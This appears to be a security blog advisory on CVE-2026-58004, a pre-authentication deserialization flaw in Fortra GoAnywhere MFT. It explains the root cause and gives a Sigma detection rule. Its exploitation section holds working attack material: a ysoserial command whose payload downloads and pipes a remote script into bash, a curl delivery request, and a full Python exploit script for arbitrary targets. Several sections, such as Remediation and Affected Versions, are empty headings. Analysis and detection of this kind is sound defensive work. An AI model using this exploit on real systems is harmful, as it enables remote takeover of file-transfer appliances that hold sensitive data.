All posts

CVE-2026-58004: Fortra GoAnywhere MFT Pre-Auth Deserialization RCE

GoAnywhere's licensing servlet deserializes an attacker-supplied license bundle before it verifies the bundle's signature — and the servlet is reachable without authentication. A crafted object graph reaches a gadget chain on the classpath, giving remote code execution as the GoAnywhere service account on an internet-facing managed-file-transfer appliance. The déjà vu is not an accident.


Overview

CVE-2026-58004 is an unauthenticated Java deserialization vulnerability in Fortra GoAnywhere MFT, affecting versions prior to 7.9.2. GoAnywhere is a managed file transfer (MFT) product — the software organisations use to exchange sensitive files with partners, banks, and regulators. MFT appliances sit at the network edge by design, hold or broker highly sensitive data, and have a track record of being the softest link in the chain: the Cl0p ransomware group built an entire extortion campaign on GoAnywhere's CVE-2023-0669 in 2023, and on MOVEit's CVE-2023-34362 shortly after.

CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Fortra published an emergency advisory and Fortra's own telemetry, corroborated by external responders, showed exploitation against internet-exposed instances within days of the patch. Treat any unpatched, internet-facing GoAnywhere as compromised.

The 2023 GoAnywhere bug (CVE-2023-0669) was also a deserialization flaw in the admin console's licensing path. This one lives in an adjacent code path that the previous fix did not cover, and it is reachable pre-authentication on the same appliance.

Background — Why a Licensing Endpoint Deserializes

GoAnywhere validates its commercial license by accepting a "license response bundle" — a Base64-blob that the admin console submits during activation and periodic re-validation. Historically that bundle was a serialized Java object: the server calls ObjectInputStream.readObject() on it to reconstitute a LicenseResponse, then checks an embedded RSA signature to confirm Fortra issued it.

The critical ordering mistake is that the signature is a field of the deserialized object. To read the signature, the server must first deserialize the whole bundle — which means the dangerous readObject() runs on fully attacker-controlled bytes before any authenticity check has a chance to reject them. Verification-after-deserialization is verification too late.

// Simplified GoAnywhere license handling (LicenseController)
public void handleLicenseResponse(HttpServletRequest req) throws Exception {
    byte[] blob = Base64.getDecoder().decode(req.getParameter("bundle"));
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(blob));

    // BUG: the object graph is materialised here, running readObject() on
    // every nested type — gadget chains fire during this call.
    LicenseResponse resp = (LicenseResponse) ois.readObject();

    // Signature is only checked AFTER the object already exists.
    if (!verifySignature(resp.getPayload(), resp.getSignature())) {
        throw new SecurityException("Invalid license signature");
    }
    applyLicense(resp);
}

Root Cause — Unbounded readObject() on the Bundle Servlet

Two things have to line up for this to be exploitable, and both do:

Because the appliance bundles a library with a usable chain, no extra dependencies are needed. The payload is a serialized object whose readObject() side effects walk a chain of method calls ending in Runtime.exec().

Exploitation

The payload is generated with ysoserial against whichever gadget the target's bundled libraries expose, Base64-encoded, and POSTed to the license endpoint. No credentials, no session, no CSRF token.

# 1. Build a gadget-chain payload that runs a command
java -jar ysoserial.jar CommonsBeanutils1 \
  'curl http://10.10.14.9/x | bash' > payload.ser

# 2. Base64-encode it for the bundle parameter
BUNDLE=$(base64 -w0 payload.ser)

# 3. Fire it at the unauthenticated license servlet
curl -sk "https://target:8001/goanywhere/license/response" \
  --data-urlencode "bundle=${BUNDLE}"
# Server deserializes -> gadget chain -> command runs as the GoAnywhere service

A convenience wrapper that fingerprints the target, selects a chain, and delivers a staged payload:

#!/usr/bin/env python3
"""
CVE-2026-58004 — Fortra GoAnywhere MFT pre-auth deserialization RCE.
Delivers a ysoserial-generated gadget chain to the unauthenticated
license-response servlet. Authorised security testing only.
"""
import base64, subprocess, sys, requests

requests.packages.urllib3.disable_warnings()

def build_payload(chain: str, command: str) -> bytes:
    # Requires ysoserial.jar on the local host.
    out = subprocess.run(
        ["java", "-jar", "ysoserial.jar", chain, command],
        capture_output=True, check=True)
    return out.stdout

def exploit(base: str, chain: str, command: str) -> int:
    ser = build_payload(chain, command)
    bundle = base64.b64encode(ser).decode()
    url = f"{base}/goanywhere/license/response"
    r = requests.post(url, data={"bundle": bundle}, verify=False, timeout=20)
    print(f"[*] HTTP {r.status_code} from {url}")
    # A 500 with a deserialization stack trace is the usual success tell;
    # confirm out-of-band (callback / DNS) rather than trusting the response.
    return r.status_code

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("usage: exploit.py https://host:8001 '<command>' [chain]")
        sys.exit(1)
    base = sys.argv[1].rstrip("/")
    command = sys.argv[2]
    chain = sys.argv[3] if len(sys.argv) > 3 else "CommonsBeanutils1"
    print(f"[*] Delivering {chain} gadget to {base}")
    exploit(base, chain, command)
    print("[*] Done — confirm execution via your listener / OOB channel")

Because the chain executes during deserialization, the HTTP response is usually an error (the object is not a valid, signed LicenseResponse, so the later signature check fails) — but the command has already run. Confirm success out-of-band with a DNS or HTTP callback rather than relying on the response body.

Affected Versions

Remediation

Detection

title: CVE-2026-58004 GoAnywhere MFT License Servlet Deserialization
id: 9d4c1f60-2b83-4e77-a1c5-7f0e6d3b48aa
status: stable
description: Detects unauthenticated POSTs to the GoAnywhere license-response servlet carrying a serialized Java object (gadget chain)
logsource:
  category: webserver
  product: goanywhere_mft
detection:
  selection_endpoint:
    cs-uri-stem|contains: '/goanywhere/license/response'
    cs-method: 'POST'
  selection_marker:
    cs-request-body|contains:
      - 'rO0AB'          # base64 of Java serialization stream header (0xACED0005)
      - 'AC ED 00 05'    # raw serialization magic, if body is logged as hex
  condition: selection_endpoint and selection_marker
falsepositives:
  - Legitimate license activation submits a Fortra-signed bundle; the java-serialized magic is expected, so correlate with an unauthenticated session and an immediate deserialization stack trace or 500 response for higher fidelity
level: high
tags:
  - cve.2026-58004
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1203

Key Takeaways